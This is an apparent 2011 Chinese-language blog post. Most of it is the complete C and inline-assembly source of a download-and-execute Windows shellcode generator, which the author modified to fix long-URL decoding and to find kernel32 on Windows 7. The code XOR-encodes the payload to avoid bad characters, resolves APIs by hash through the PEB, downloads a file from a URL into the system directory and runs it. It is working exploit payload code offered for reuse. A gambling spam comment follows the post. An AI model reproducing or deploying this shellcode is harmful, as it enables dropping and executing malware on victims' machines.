2011年4月18日 星期一

Download_Exec shellcode fix & for Windows 7



很久沒打網誌了丟些來湊篇幅XD

某些需求,需要Download and Exec file的shellcode,而且要For win7也可以work的
網路上找不到經指點只好自己改

改的時候才發現還是有些問題XD
shellcode原始版本 From
http://www.exploit-db.com/exploits/13529/
* Author   : lion
*               : lion#cnhonker.net
*               : http://www.cnhonker.com

首先是發現當網址長度 > 40 bytes時shellcode執行會失敗
實際去追蹤後發現出錯點位於decode shellcode中發生問題
第314行
mov cl,0xFF

cl放的是要被解碼shellcode的offset偏移量,會被程式動態patch,最長只有到255

shellcode_decode     21 bytes
shellcode_main     194 bytes
網址長度     X bytes
當21 + 194 + X > 255時就會出錯

所以修改一下
mov cl, 0xff
Opcode為 B1 FF

mov ecx, 0xff
Opcode為 B9 FF 00 00 00

再把#DEFINE的偏移量+3 bytes以及修改判斷動態patch的部分即可

至於通用性的問題
在 Windows XP / 2k / 2k3可成功,Windows 7失敗的原因在於
由於這隻shellcode是透過PEB取得ImageBase,WIndows 7後會再Kernel32.dll前先載入kernelbase.dll,所以造成ImageBase取錯

改法也很簡單,判斷取得dll名稱的長度即可XD

詳細細節可參閱:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://bbs.pediy.com/showthread.php?t=122260
http://bbs.pediy.com/showthread.php?t=99007

修改後版本XD
/*
*-----------------------------------------------------------------------
*
* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion#cnhonker.net
*          : http://www.cnhonker.com
*          :
* Date     : 2003-08-15
*          :
* Update   : 2004-05-05 v3.1
*          : 2004-01-08 v3.0
*          : 2003-09-10 v2.0
*          : 2003-08-15 v1.0
*          :
* Tested   : Windows 2000/Windows XP/windows 2003
*          :
* Notice   : 1. 通過peb取得kernel32.dll地址。
*          : 2. 通過函數的hash值來進行比較,代替GetProcAddress取得函數地址,節省函數名佔用的空間。
*          : 3. 利用循環獲取hash值和函數地址,節省空間。
*          : 4. 下載url文件並執行。
*          : 5. 用vc6可以命令行直接編譯,方便修改。
*          : 6. win2000/winxp/win2003 下測試成功。
*          : 7. 比較小巧,長度為241 bytes。
*          :


* Complie  : cl downloadurl_v31.c
*          :
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
*          : http://www.metasploit.com/shellcode.html
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90\
                                       __asm _emit 0x90 __asm  _emit 0x90
#define PROC_END                       PROC_BEGIN
#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN                     8
#define MAX_SC_LEN                     2048
#define HASH_KEY                       13

// Define Decode Parameter
#define DECODE_LEN                     24
#define SC_LEN_OFFSET                  7
#define ENC_KEY_OFFSET                 14
#define ENC_KEY                        0x99


// Define Function Addr
#define ADDR_LoadLibraryA              [esi]
#define ADDR_GetSystemDirectoryA       [esi+4]
#define ADDR_WinExec                   [esi+8]
#define ADDR_ExitProcess               [esi+12]
#define ADDR_URLDownloadToFileA        [esi+16]
//#define ADDR_URL                       edi

// Need functions
unsigned char functions[100][128] =      
{                                           // [esi] stack layout
    // kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"GetSystemDirectoryA"},                //    [esi+4]
    {"WinExec"},                            //    [esi+8]    
    {"ExitProcess"},                        //    [esi+12]
    //("ExitThread"},
    //{"TerminateProcess"},
    // urlmon  1                            // 01 urlmon.dll
    {"URLDownloadToFileA"},                 //    [esi+16]
    {""},
};
  
// Shellcode string
unsigned char  sc[1024] = {0};

unsigned char url[]=
    "http://127.0.0.1/calc.exe\x00";

// ASM shellcode main function
void    ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
    DWORD h = 0;
  
    while ( *c )
    {
        __asm ror h, HASH_KEY
      
        h += *c++;
    }
    return( h );
}

// Print Shellcode
void PrintSc(unsigned char *sc, int len)
{
    int    i,j;
    char *p;
    char msg[6];
  
    //printf("/* %d bytes */\n", buffsize);
  
    // Print general shellcode
    for(i = 0; i < len; i++)
    {
        if((i%16)==0)
        {
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        }
      
        //printf("\\x%.2X", sc[i]);
      
        sprintf(msg, "\\x%.2X", sc[i] & 0xff);

        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }
  
    printf("\";\n");
}


void Make_ShellCode()
{
    unsigned char  *pSc_addr;
    unsigned int   Sc_len;
    unsigned int   Enc_key=ENC_KEY;
    unsigned long  dwHash[100];
    unsigned int   dwHashSize;

    int i,j,k,l;
  
  
    // Get functions hash
    printf("[+] Get functions hash strings.\r\n");
    for (i=0;;i++)
    {
        if (functions[i][0] == '\x0') break;

        dwHash[i] = GetHash((char*)functions[i]);
        printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize = i*4;


    // Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;
  
    for (k=0;k<MAX_SC_LEN;++k )
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
        {
            break;
        }
    }
    pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode
  
    for (k=0;k<MAX_SC_LEN;++k)
    {
        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
            break;
        }
    }
    Sc_len=k;                               // Length of the ShellCode
  
    memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]


    // Add functions hash
    memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
    Sc_len += dwHashSize;

    // Add url
    memcpy(sc+Sc_len, url, sizeof(url)-1);
    Sc_len += sizeof(url)-1;

    // Print the size of shellcode.
    printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);


    // Print the ip/port offset
    for(k=0; k <= Sc_len-3; ++k)
    {
        if(sc[k] == 0x00 && sc[k+1] == 0x35)
            printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
        if(sc[k] == 0x7F && sc[k+3] == 0x01)
            printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
    }

/*            
    for(i=DECODE_LEN; i<Sc_len; i++)
    {
       sc[i] ^= Enc_key;
    }
*/

    // Print shellcode
    //PrintSc(sc, Sc_len);
  

    // Deal with find the right XOR byte
    for(i=0xff; i>0; i--)
    {
        l = 0;
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
            if (
                   ((sc[j] ^ i) == 0x26) || //%
                   ((sc[j] ^ i) == 0x3d) || //=
                   ((sc[j] ^ i) == 0x3f) || //?
                   ((sc[j] ^ i) == 0x40) || //@
                   ((sc[j] ^ i) == 0x00) ||
                   ((sc[j] ^ i) == 0x0D) ||
                   ((sc[j] ^ i) == 0x0A)
                )                           // Define Bad Characters
            {
                l++;                        // If found the right XOR byte£?l equals 0
                break;
            };
        }
  
        if (l==0)
        {
            Enc_key = i;
          
            //printf("[+] Find XOR Byte: 0x%02X\n", i);
            for(j=DECODE_LEN; j<Sc_len; j++)
            {
                sc[j] ^= Enc_key;
            }

            break;                          // If found the right XOR byte, Break
        }
    }

    // Deal with not found XOR byte
    if (l!=0)
   {
        printf("[-] No xor byte found!\r\n");
        exit(-1);
    }

    // Deal with DeCode string
if (Sc_len > 0xff)
*(unsigned char *)&sc[SC_LEN_OFFSET + 1] = Sc_len >> 8;
    *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
    *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

    // Print decode
    printf("/* %d bytes decode */\r\n", DECODE_LEN);
    PrintSc(sc, DECODE_LEN);

    // Print shellcode
    printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
    PrintSc((unsigned char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
  
    printf("[+] download url:%s\n", url);
}

void main()
{
    DWORD    addr;
    WSADATA        wsa;
  
    WSAStartup(MAKEWORD(2,2),&wsa);
  
    Make_ShellCode();

    addr = (DWORD)&sc;

    __asm
    {
        jmp addr
    }

    return;
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
        jmp     short decode_end
      
decode_start:
        pop     ebx                         // Decode start addr (esp -> ebx)
        dec     ebx
        xor     ecx,ecx
        mov     ecx,0xFF                     // Decode len
      
    decode_loop:
        xor     byte ptr [ebx+ecx],0x99     // Decode key
        loop    decode_loop
        jmp     short decode_ok

decode_end:
        call    decode_start
      
decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
        jmp     sc_end
      
sc_start:      
        pop     edi                         // Hash string start addr (esp -> edi)
        xor     ecx, ecx
        // Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink
next_module:      
        //lodsd                               // eax = InInitOrder.blink
        mov     edx, [esi+8]                // ebp = kernel32.dll base address
        mov     ebx, [esi+0x20]
        mov     esi, [esi]
        cmp     [ebx+12*2], cl
        jne     next_module
        mov     ebp, edx

        mov     esi, edi                    // Hash string start addr -> esi
  
        // Get function addr of kernel32
        push    4
        pop     ecx
      
    getkernel32:
        call    GetProcAddress_fun
        loop    getkernel32

        // Get function addr of urlmon  
        push    0x00006e6f
        push    0x6d6c7275                 // urlmon
        push    esp
        call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");
      
        mov     ebp, eax                   // ebp = urlmon.dll base address
      
/*
        push    1
        pop     ecx

    geturlmon:
        call    GetProcAddress_fun
        loop    geturlmon
*/
        call    GetProcAddress_fun

        // url start addr = edi
      
//LGetSystemDirectoryA:
        sub     esp, 0x20
        mov     ebx, esp
      
        push    0x20
        push    ebx
        call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA
      
//LURLDownloadToFileA:  
        // eax = system path size
        // URLDownloadToFileA url save to a.exe
        mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"
        mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"
        xor     eax, eax
        push    eax
        push    eax
        push    ebx                         // %systemdir%\a.exe
        push    edi                         // url
        push    eax
        call    ADDR_URLDownloadToFileA     // URLDownloadToFileA
      
//LWinExec:
mov     ebx, esp
push    eax
push    ebx
call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);

Finished:
        //push    1
        call    ADDR_ExitProcess            // ExitProcess();

GetProcAddress_fun:  
        push    ecx
        push    esi
  
        mov     esi, [ebp+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
      
    hash_loop:
        movsx   edx, byte ptr [eax]
        cmp     dl, dh
        jz      short find_addr
        ror     ebx, HASH_KEY               // hash key
        add     ebx, edx
        inc     eax
        jmp     short hash_loop
  
    find_addr:
        cmp     ebx, [edi]                  // compare to hash
        jnz     short find_start
        pop     esi                         // ExportDirectory
        mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA
        add     ebx, ebp                    // rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
      
        pop     esi
        pop     ecx
        ret
      
sc_end:
        call sc_start
    
        PROC_END                            //C macro to end proc
    }
}

// milw0rm.com [2004-10-25]

2 則留言:

  1. Many players might think they are pg slot เครดิตฟรี
    very lucky. But the truth is pg slot เครดิตฟรี
    that playing slots for money does not depend solely on luck. Because there are techniques

    回覆刪除